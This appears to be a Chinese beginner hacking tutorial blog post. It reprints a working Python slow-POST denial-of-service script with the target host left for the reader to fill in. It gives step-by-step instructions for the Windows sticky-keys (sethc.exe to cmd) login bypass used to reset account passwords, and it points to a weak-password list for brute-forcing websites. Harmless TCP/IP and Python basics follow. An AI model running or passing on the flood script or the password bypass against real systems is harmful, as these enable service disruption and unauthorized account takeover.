引子

流量出乎我的意料，比较少。emmm……虽说我不以这个为什么特殊的目标，但是这有点打压我的兴趣……不多说了，这时我近期最后一篇博文哦！

事先说明

不喜勿喷哦！另外有什么问题不要私信我，我没有时间看，在文章下方留言即可，还有，该文章中的所有技术均为本人自己研究所得，不要抄袭哦！请遵守法律

准备

如果你是第一次阅读我的文章，那么请做好一下准备：

VirtualBox

百度搜索VirtualBox软件，点击下载，根据向导的提示安装即可。

镜像文件

百度搜索MSDN,我告诉你，点击操作系统，在右边的复选框中选择适当的版本，这里以Windows7 Enterprise(x86)为例

然后把这个ed2k地址复制一下，在迅雷中下载下来即可。

安装虚拟机/Python环境配置

不多解释，之前的文章都有。

初级篇

DDOS攻击

上一次我们了解了DDOS分布式攻击，事实上DDOS攻击是需要多人完成的，这只是黑客攻击中最简单的操作，之后我们会学习SQL注入，Web漏洞引用等攻击方法，这里我们再看一遍源代码

import socket
import time
import threading
#Pressure Test,ddos tool#---------------------------
MAX_CONN=20000
PORT=80
HOST=""#在双引号里输入对方IP或域名，要保证他联网了或开机了.
PAGE="/index.php"
#---------------------------buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))socks=[]def conn_thread():global socksfor i in range(0,MAX_CONN):s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)try:s.connect((HOST,PORT))s.send(buf.encode())print ("Send buf OK!,conn=%d\n"%i)socks.append(s)except Exception as ex:print ("Could not connect to server or send error:%s"%ex)time.sleep(0.1)
#end defdef send_thread():global sockswhile True:for s in socks:try:s.send("f".encode())#print "send OK!"except Exception as ex:print ("Send Exception:%s\n"%ex)socks.remove(s)s.close()time.sleep(0.1)
#end defconn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())conn_th.start()
send_th.start()

源码摘自https://blog.csdn.net/tiantian520ttjs/article/details/103107836。

也许现在你还不太理解，没关系，这很正常。在黑客技术与网络安全技术的学习路上，我们往往会遇到很多我们不理解的事情，这在之后，其实慢慢的就懂了。

中级篇

密码

之前我们了解了木马，病毒，欺骗，漏洞等知识，现在我们来了解一下密码

什么是密码？

密码十分简单，而且每个人都设过密码。密码就是用户为了保护一些敏感信息而设置的一串字符。他们往往包括但不限于数字，英文字母等。那么作为黑客，如果我们需要攻击的电脑或文本设置了密码该如何破解呢？

利用弱密码来破译网站密码

什么是弱密码？弱密码指的就是类似于“123456”，“000000”这样易于破解的密码。我整理了一份弱密码集合，不过是最简单的版本，https://download.csdn.net/download/to_run_with_wind/12588966
支付5积分/C币即可下载
如果网站没有设置登入次数，那么你就可以枚举了，至于暴力破解，需要学习抓包才行，这以后再说。

利用漏洞破解Windows7/10密码

在一个就是利用漏洞来破解密码，其实部分Windows7/10的电脑在登陆是存在漏洞，我们来看一个界面。

这时5次shift可以执行粘滞键的快捷方式，它运行的是sethc.exe可执行文件，是一个本地文件。可怕的是，在为输入密码时，仍可以打开这个可执行文件，那么，这就给了黑客可乘之机。

首先，创建一台win7虚拟机。然后按5次shift试试看粘滞键有没有用。

然后，重启，重启过程中强制关机，当进入以下界面时选择第一项，进入修复界面。

等待几分钟，电脑会进行维修，在维修完成后点击这个地址。

你会惊奇的发现，在没有键入密码的时候，竟然可以打开一个记事本。

然后，点击C盘，将sethc改名为sethc-ing。再将cmd备份，改名为sethc。

最后全部关闭，重启电脑
然后，再按5次shift，你会发现，此时打开的时CMD命令行

在其中输入net user 用户名 要设置的密码
然后关闭，在输入设置的密码，发现成功登入。

这里的图片不是我本人截的，源地址：
https://edu.csdn.net/course/play/25182/295588?spm=1002.2001.3001.4143

好了，你学会了吗？其实学到后面，你会发现原来网络安全其实挺有趣的，这就是编程的奥秘！

高级篇

Web部分

又到了Web部分，这次讲解一下TCP/IP协议是什么东东。
简单来说，TCP/IP协议就是互联网上的规则。

TCP/IP协议

IP协议

网络层引入了IP协议，制定了一套新地址，使得我们能够区分两台主机是否同属一个网络，这套地址就是网络地址，也就是所谓的IP地址。IP协议将这个32位的地址分为两部分，前面部分代表网络地址，后面部分表示该主机在局域网中的地址。如果两个IP地址在同一个子网内，则网络地址一定相同。为了判断IP地址中的网络地址，IP协议还引入了子网掩码，IP地址和子网掩码通过按位与运算后就可以得到网络地址。

ARP协议

即地址解析协议，是根据IP地址获取MAC地址的一个网络层协议。其工作原理如下：ARP首先会发起一个请求数据包，数据包的首部包含了目标主机的IP地址，然后这个数据包会在链路层进行再次包装，生成以太网数据包，最终由以太网广播给子网内的所有主机，每一台主机都会接收到这个数据包，并取出标头里的IP地址，然后和自己的IP地址进行比较，如果相同就返回自己的MAC地址，如果不同就丢弃该数据包。ARP接收返回消息，以此确定目标机的MAC地址；与此同时，ARP还会将返回的MAC地址与对应的IP地址存入本机ARP缓存中并保留一定时间，下次请求时直接查询ARP缓存以节约资源。

路由协议

首先通过IP协议来判断两台主机是否在同一个子网中，如果在同一个子网，就通过ARP协议查询对应的MAC地址，然后以广播的形式向该子网内的主机发送数据包；如果不在同一个子网，以太网会将该数据包转发给本子网的网关进行路由。网关是互联网上子网与子网之间的桥梁，所以网关会进行多次转发，最终将该数据包转发到目标IP所在的子网中，然后再通过ARP获取目标机MAC，最终也是通过广播形式将数据包发送给接收方。而完成这个路由协议的物理设备就是路由器，路由器扮演着交通枢纽的角色，它会根据信道情况，选择并设定路由，以最佳路径来转发数据包。
所以，网络层的主要工作是定义网络地址、区分网段、子网内MAC寻址、对于不同子网的数据包进行路由。

传输层

UDP协议定义了端口，同一个主机上的每个应用程序都需要指定唯一的端口号，并且规定网络中传输的数据包必须加上端口信息，当数据包到达主机以后，就可以根据端口号找到对应的应用程序了。UDP协议比较简单，实现容易，但它没有确认机制，数据包一旦发出，无法知道对方是否收到，因此可靠性较差，为了解决这个问题，提高网络可靠性，TCP协议就诞生了。
TCP即传输控制协议，是一种面向连接的、可靠的、基于字节流的通信协议。简单来说TCP就是有确认机制的UDP协议，每发出一个数据包都要求确认，如果有一个数据包丢失，就收不到确认，发送方就必须重发这个数据包。为了保证传输的可靠性，TCP协议在UDP基础之上建立了三次对话的确认机制，即在正式收发数据前，必须和对方建立可靠的连接。TCP数据包和UDP一样，都是由首部和数据两部分组成，唯一不同的是，TCP数据包没有长度限制，理论上可以无限长，但是为了保证网络的效率，通常TCP数据包的长度不会超过IP数据包的长度，以确保单个TCP数据包不必再分割。
传输层的主要工作是定义端口，标识应用程序身份，实现端口到端口的通信，TCP协议可以保证数据传输的可靠性。

应用层

理论上讲，有了以上三层协议的支持，数据已经可以从一个主机上的应用程序传输到另一台主机的应用程序了，但此时传过来的数据是字节流，不能很好的被程序识别，操作性差，因此，应用层定义了各种各样的协议来规范数据格式，常见的有http,ftp,smtp等，在请求Header中，分别定义了请求数据格式Accept和响应数据格式Content-Type，有了这个规范以后，当对方接收到请求以后就知道该用什么格式来解析，然后对请求进行处理，最后按照请求方要求的格式将数据返回，请求端接收到响应后，就按照规定的格式进行解读。
所以应用层的主要工作就是定义数据格式并按照对应的格式解读数据。

这是摘自https://blog.csdn.net/tiantian520ttjs/java/article/details/103323055的介绍。

Python基础

到了这里，就必须学一下Python基础了。

输入/输出

print("这是输出")
input("这是输入")

函数

用关键词def来定义

def Hello(a):print(a)
Hello("hello")

类

class

class HelloWorld():def __init__(self):print("hello world")
app = HelloWorld()

循环

for && while

for i in range(5):
print(i)while True:print("none")

如果

if

i = 0
if i >= 2:print("bigger")
else:print("smaller")

结束

6267字，应该还可以哈！那就再见了！